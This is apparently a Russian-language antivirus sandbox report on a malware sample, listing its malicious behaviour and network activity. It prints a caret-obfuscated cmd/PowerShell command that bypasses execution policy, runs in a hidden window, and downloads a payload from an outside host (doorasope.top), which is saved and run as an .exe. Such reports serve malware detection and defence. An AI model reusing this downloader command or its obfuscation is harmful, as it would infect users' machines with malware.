Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^w^eRSh^ELL.e^xE ^-E^XEcu^Ti^on^p^OL^iC^Y^ bYPASS -nOpR^of^i^le^ -w^indOWSTYL^E^ hID^d^e^n (N^E^W-O^BjE^cT Sys^TE^M^.n^eT.w^Eb^c^li^ENT).dowNl^oA^dfI^l^e(^'http://www.doo...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^w^eRSh^ELL.e^xE ^-E^XEcu^Ti^on^p^OL^iC^Y^ bYPASS -nOpR^of^i^le^ -w^indOWSTYL^E^ hID^d^e^n (N^E^W-O^BjE^cT Sys^TE^M^.n^eT.w^Eb^c^li^ENT).dowNl^oA^dfI^l^e(^'http://www.doo...' (со скрытым окном)
